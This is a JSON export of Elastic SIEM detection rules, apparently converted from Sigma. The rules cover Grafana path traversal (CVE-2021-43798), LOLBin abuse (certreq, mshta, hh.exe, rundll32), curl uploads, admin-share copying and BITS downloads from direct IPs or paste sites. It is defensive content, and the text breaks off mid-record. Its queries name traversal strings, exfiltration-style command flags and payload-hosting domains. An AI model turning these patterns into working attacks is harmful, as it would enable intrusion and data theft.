{"description": "Detects a successful Grafana path traversal exploitation", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "1917a64d-7aeb-57e1-b46e-7f84647b9926", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Grafana Path Traversal Exploitation CVE-2021-43798", "query": "(cs-uri-query:*\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/* AND http.response.status_code:\"200\" AND cs-uri-query:(*\\/public\\/plugins\\/live* OR *\\/public\\/plugins\\/icon* OR *\\/public\\/plugins\\/loki* OR *\\/public\\/plugins\\/text* OR *\\/public\\/plugins\\/logs* OR *\\/public\\/plugins\\/news* OR *\\/public\\/plugins\\/stat* OR *\\/public\\/plugins\\/mssql* OR *\\/public\\/plugins\\/mixed* OR *\\/public\\/plugins\\/mysql* OR *\\/public\\/plugins\\/tempo* OR *\\/public\\/plugins\\/graph* OR *\\/public\\/plugins\\/gauge* OR *\\/public\\/plugins\\/table* OR *\\/public\\/plugins\\/debug* OR *\\/public\\/plugins\\/zipkin* OR *\\/public\\/plugins\\/jaeger* OR *\\/public\\/plugins\\/geomap* OR *\\/public\\/plugins\\/canvas* OR *\\/public\\/plugins\\/grafana* OR *\\/public\\/plugins\\/welcome* OR *\\/public\\/plugins\\/xychart* OR *\\/public\\/plugins\\/heatmap* OR *\\/public\\/plugins\\/postgres* OR *\\/public\\/plugins\\/testdata* OR *\\/public\\/plugins\\/opentsdb* OR *\\/public\\/plugins\\/influxdb* OR *\\/public\\/plugins\\/barchart* OR *\\/public\\/plugins\\/annolist* OR *\\/public\\/plugins\\/bargauge* OR *\\/public\\/plugins\\/graphite* OR *\\/public\\/plugins\\/dashlist* OR *\\/public\\/plugins\\/piechart* OR *\\/public\\/plugins\\/dashboard* OR *\\/public\\/plugins\\/nodeGraph* OR *\\/public\\/plugins\\/alertlist* OR *\\/public\\/plugins\\/histogram* OR *\\/public\\/plugins\\/table\\-old* OR *\\/public\\/plugins\\/pluginlist* OR *\\/public\\/plugins\\/timeseries* OR *\\/public\\/plugins\\/cloudwatch* OR *\\/public\\/plugins\\/prometheus* OR *\\/public\\/plugins\\/stackdriver* OR *\\/public\\/plugins\\/alertGroups* OR *\\/public\\/plugins\\/alertmanager* OR *\\/public\\/plugins\\/elasticsearch* OR *\\/public\\/plugins\\/gettingstarted* OR *\\/public\\/plugins\\/state\\-timeline* OR *\\/public\\/plugins\\/status\\-history* OR *\\/public\\/plugins\\/grafana\\-clock\\-panel* OR *\\/public\\/plugins\\/grafana\\-simple\\-json\\-datasource* OR *\\/public\\/plugins\\/grafana\\-azure\\-monitor\\-datasource*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a suspicious call to the user32.dll function that locks the user workstation", "enabled": false, "false_positives": ["Scritps or links on the user desktop used to lock the workstation instead of Windows+L or the menu option"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1977ff1b-5a4b-57f2-8ef3-b2ca25096961", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Workstation Locking via Rundll32", "query": "(process.executable:*\\\\rundll32.exe AND process.parent.executable:*\\\\cmd.exe AND process.command_line:*user32.dll,* AND process.command_line:*LockWorkStation*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eb7c5d76-defa-4a7b-adc7-41571e28fd07", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Certreq Command to Download", "query": "((process.executable:*\\\\certreq.exe OR winlog.event_data.OriginalFileName:\"CertReq.exe\") AND (process.command_line:*\\ \\-Post\\ * AND process.command_line:*\\ \\-config\\ * AND process.command_line:*\\ http* AND process.command_line:*\\ C\\:\\\\windows\\\\win.ini\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eb7c5d76-defa-4a7b-adc7-41571e28fd07", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Certreq Command to Download", "query": "(process.executable:*\\\\certreq.exe AND process.command_line:*\\ \\-Post\\ * AND process.command_line:*\\ \\-config\\ * AND process.command_line:*\\ http* AND process.command_line:*\\ C\\:\\\\windows\\\\win.ini\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "016ec08f-a48d-00a1-2aa2-bb9a04952e9c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "HTML Help Shell Spawn", "query": "(process.parent.executable:\"C\\:\\\\Windows\\\\hh.exe\" AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\rundll32.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1059", "T1059", "T1059", "T1059", "T1218", "T1218", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Maxim Pavlunin"], "license": ""}
{"description": "Detects a suspicious child process of a mshta.exe process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a0e00b1-44ea-4f56-c772-aba31031c857", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mshta Spawning Windows Shell", "query": "(process.parent.executable:*\\\\mshta.exe AND process.executable:(*\\\\powershell.exe OR *\\\\cmd.exe OR *\\\\WScript.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious child process of a Windows shell", "enabled": false, "false_positives": ["Administrative scripts", "Microsoft SCCM"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c69513ae-7c04-95b2-9f93-95885ed109f5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Shell Spawning Suspicious Program", "query": "((process.parent.executable.text:(*\\\\mshta.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\rundll32.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\wmiprvse.exe OR *\\\\regsvr32.exe) AND process.executable.text:(*\\\\schtasks.exe OR *\\\\nslookup.exe OR *\\\\certutil.exe OR *\\\\bitsadmin.exe OR *\\\\mshta.exe)) AND (NOT ((process.working_directory.text:*\\\\ccmcache\\\\*) OR (process.parent.command_line.text:(*\\\\Program\\ Files\\\\Amazon\\\\WorkSpacesConfig\\\\Scripts\\\\setup\\-scheduledtask.ps1* OR *\\\\Program\\ Files\\\\Amazon\\\\WorkSpacesConfig\\\\Scripts\\\\set\\-selfhealing.ps1* OR *\\\\Program\\ Files\\\\Amazon\\\\WorkSpacesConfig\\\\Scripts\\\\check\\-workspacehealth.ps1* OR *\\\\nessus_*)) OR (process.command_line.text:*\\\\nessus_*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tim Shelton"], "license": ""}
{"description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c5fdff1c-cb96-c2e6-f067-47b991af321f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Script Event Consumer Spawning Process", "query": "(process.parent.executable:*\\\\scrcons.exe AND process.executable:(*\\\\svchost.exe OR *\\\\dllhost.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\schtasks.exe OR *\\\\regsvr32.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\msbuild.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects a suspicious child process of userinit", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "426a129e-5526-460f-90aa-8e50c9470da6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Userinit Child Process", "query": "(process.parent.executable.text:*\\\\userinit.exe AND (NOT ((process.command_line.text:*\\\\netlogon\\\\*) OR (process.executable.text:*\\\\explorer.exe OR ImageFileName:\"explorer.exe\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Samir Bousseaden (idea)"], "license": ""}
{"description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", "enabled": false, "false_positives": ["High"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0fa560aa-ba56-9d24-d7af-32a6f89530dc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Command Line Execution with Suspicious URL and AppData Strings", "query": "(process.executable:*\\\\cmd.exe AND process.command_line:*http* AND process.command_line:*\\:\\/\\/* AND process.command_line:*%AppData%*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059", "T1059", "T1105"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c2e04eec-6788-592c-c6f2-0f5a3522451c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Script Run in AppData", "query": "(process.command_line:(*powershell.exe* OR *\\\\powershell* OR *\\\\pwsh* OR *pwsh.exe*) AND process.command_line:*\\/c\\ * AND process.command_line:*\\\\AppData\\\\* AND process.command_line:(*Local\\\\* OR *Roaming\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects a suspicious copy command to or from an Admin share or remote", "author": ["Florian Roth", "oscd.community", "Teymur Kheirkhabarov @HeirhabarovT", "Zach Stanford @svch0st", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e879123f-abbf-cb7f-98b9-4d15ccdea86b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Copy from Admin Share", "query": "((process.command_line.text:*\\\\\\\\* AND process.command_line.text:*$*) AND ((((((process.executable.text:(*\\\\robocopy.exe OR *\\\\xcopy.exe)) OR (winlog.event_data.OriginalFileName:(\"robocopy.exe\" OR \"XCOPY.EXE\")))) OR ((((process.executable.text:*\\\\cmd.exe) OR (winlog.event_data.OriginalFileName:\"Cmd.Exe\")) AND process.command_line.text:*copy*)))) OR ((((process.executable.text:(*\\\\powershell.exe* OR *\\\\pwsh.exe*)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\"))) AND process.command_line.text:(*copy\\-item* OR *copy* OR *cpi\\ * OR *\\ cp\\ * OR *move* OR *move\\-item* OR *\\ mi\\ * OR *\\ mv\\ *)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1039", "T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1039", "name": "Data from Network Shared Drive", "reference": ""}]}, {"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", "enabled": false, "false_positives": ["Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like )", "When cmd.exe and xcopy.exe are called directly", "When the command contains the keywords but not in the correct order"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "327ea053-c225-f9d0-0e39-267253f45d8b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Copy From or To System32", "query": "(((process.executable.text:*\\\\cmd.exe AND process.command_line.text:*copy\\ *) OR (process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*copy\\-item* OR *\\ copy\\ * OR *cpi\\ * OR *\\ cp\\ *)) OR process.executable.text:(*\\\\robocopy.exe OR *\\\\xcopy.exe)) AND process.command_line.text:(*\\\\System32* OR *\\\\SysWOW64*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Tim Shelton (HAWK.IO)", "Nasreddine Bencherchali (update)"], "license": ""}
{"description": "Detects a suspicious curl process start on linux with set useragent options", "enabled": false, "false_positives": ["Scripts created by developers and admins", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d4066970-1cc4-8bc5-c9e3-ac951708f8d8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Curl Change User Agents - Linux", "query": "(process.executable.text:*\\/curl AND process.command_line.text:(*\\ \\-A\\ * OR *\\ \\-\\-user\\-agent\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", "author": ["Florian Roth", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bdd97c33-6005-b44a-8841-5762daf05012", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Curl Usage on Windows", "query": "((((process.executable.text:*\\\\curl.exe) OR (Product:\"The curl executable\")) AND ((process.command_line.text:(*\\\\AppData\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\Temp\\\\* OR *%AppData%* OR *%Temp%* OR *%tmp%* OR *%Public%* OR *\\\\Desktop\\\\* OR *C\\:\\\\PerfLogs\\\\*)) OR (process.command_line.text:(*.jpg OR *.jpeg OR *.png OR *.gif OR *.tmp OR *.temp OR *.txt)) OR (process.command_line.text:(*\\ \\-O* OR *\\-\\-remote\\-name* OR *\\-\\-output*)))) AND (NOT (process.parent.executable.text:\"C:\\Program Files\\Git\\usr\\bin\\sh.exe\" AND process.executable.text:\"C:\\Program Files\\Git\\mingw64\\bin\\curl.exe\" AND process.command_line.text:*\\-\\-silent\\ \\-\\-show\\-error\\ \\-\\-output\\ * AND process.command_line.text:*gfw\\-httpget\\-*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a suspicious curl process start on Windows with set useragent options", "enabled": false, "false_positives": ["Scripts created by developers and admins", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b365f491-70d4-a7c5-fae5-cb829df68a96", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Curl Change User Agents", "query": "((process.executable:*\\\\curl.exe OR Product:\"The\\ curl\\ executable\") AND process.command_line:(*\\ \\-A\\ * OR *\\ \\-\\-user\\-agent\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects a suspicious curl process start the adds a file to a web request", "enabled": false, "false_positives": ["Scripts created by developers and admins"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2be7fe82-b26f-3eac-7c68-76dafe741e88", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Curl File Upload - Linux", "query": "(process.executable.text:*\\/curl AND process.command_line.text:(*\\ \\-F\\ * OR *\\ \\-\\-form* OR *\\ \\-T\\ * OR *\\ \\-\\-upload\\-file\\ * OR *\\ \\-d\\ * OR *\\ \\-\\-data\\ * OR *\\ \\-\\-data\\-*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105", "T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects a suspicious curl process start the adds a file to a web request", "enabled": false, "false_positives": ["Scripts created by developers and admins"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7e8e4b63-1cb1-32ec-3e6e-dc33299f19f0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Curl File Upload", "query": "((process.executable.text:*\\\\curl.exe OR Product:\"The\\ curl\\ executable\") AND process.command_line.text:(*\\ \\-F\\ * OR *\\ \\-\\-form* OR *\\ \\-T\\ * OR *\\ \\-\\-upload\\-file\\ * OR *\\ \\-d\\ * OR *\\ \\-\\-data\\ * OR *\\ \\-\\-data\\-*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105", "T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f50b2bdb-8edc-0f31-6e4f-ec7f42cb9134", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "BlueMashroom DLL Load", "query": "((process.command_line:*\\\\AppData\\\\Local\\\\* AND (process.command_line:*\\\\regsvr32* OR process.command_line:*,DllEntry*)) AND (NOT ((process.command_line:*AppData\\\\Local\\\\Microsoft\\\\TeamsMeetingAddin\\\\* OR process.command_line:(*\\\\x86\\\\Microsoft.Teams.AddinLoader.dll OR *\\\\x86\\\\Microsoft.Teams.AddinLoader.dll\\\" OR *\\\\x64\\\\Microsoft.Teams.AddinLoader.dll OR *\\\\x64\\\\Microsoft.Teams.AddinLoader.dll\\\")) OR (process.command_line:*\\\\AppData\\\\Local\\\\WebEx\\\\WebEx64\\\\Meetings\\\\atucfobj.dll))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tim Shelton"], "license": ""}
{"description": "Detects a suspicious download using the BITS client from a direct IP. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a9befc9b-c18f-2688-564f-88a673325382", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Download with BITS from Direct IP", "query": "((winlog.event_id:\"16403\" AND RemoteName:(*http\\:\\/\\/1* OR *http\\:\\/\\/2* OR *http\\:\\/\\/3* OR *http\\:\\/\\/4* OR *http\\:\\/\\/5* OR *http\\:\\/\\/6* OR *http\\:\\/\\/7* OR *http\\:\\/\\/8* OR *http\\:\\/\\/9* OR *https\\:\\/\\/1* OR *https\\:\\/\\/2* OR *https\\:\\/\\/3* OR *https\\:\\/\\/4* OR *https\\:\\/\\/5* OR *https\\:\\/\\/6* OR *https\\:\\/\\/7* OR *https\\:\\/\\/8* OR *https\\:\\/\\/9*)) AND (NOT ((RemoteName:(*\\:\\/\\/10.* OR *\\:\\/\\/192.168.* OR *\\:\\/\\/172.16.* OR *\\:\\/\\/172.17.* OR *\\:\\/\\/172.18.* OR *\\:\\/\\/172.19.* OR *\\:\\/\\/172.20.* OR *\\:\\/\\/172.21.* OR *\\:\\/\\/172.22.* OR *\\:\\/\\/172.23.* OR *\\:\\/\\/172.24.* OR *\\:\\/\\/172.25.* OR *\\:\\/\\/172.26.* OR *\\:\\/\\/172.27.* OR *\\:\\/\\/172.28.* OR *\\:\\/\\/172.29.* OR *\\:\\/\\/172.30.* OR *\\:\\/\\/172.31.* OR *\\:\\/\\/127.* OR *\\:\\/\\/169.254.*)) OR (RemoteName:(*https\\:\\/\\/7\\-* OR *http\\:\\/\\/7\\-*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "enabled": false, "false_positives": ["Other legitimate domains used by software updaters"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b13fb6a-cedc-6f7b-6c36-ac22818d0841", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Download with BITS from Suspicious TLD", "query": "(winlog.event_id:\"16403\" AND (NOT (RemoteName:(*.com* OR *.azureedge.net* OR *.sfx.ms* OR *download.mozilla.org*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b13fb6a-cedc-6f7b-6c36-ac22818d0841", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Download with BITS from Suspicious TLD", "query": "(winlog.event_id:\"16403\" AND RemoteName:(*raw.githubusercontent.com* OR *gist.githubusercontent.com* OR *pastebin.com* OR *cdn.discordapp.com\\/attachments\\/* OR *mediafire.com* OR *mega.nz* OR *ddns.net* OR *.paste.ee* OR *.hastebin.com* OR *.ghostbin.co\\/* OR *ufile.io* OR *storage.googleapis.com*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": 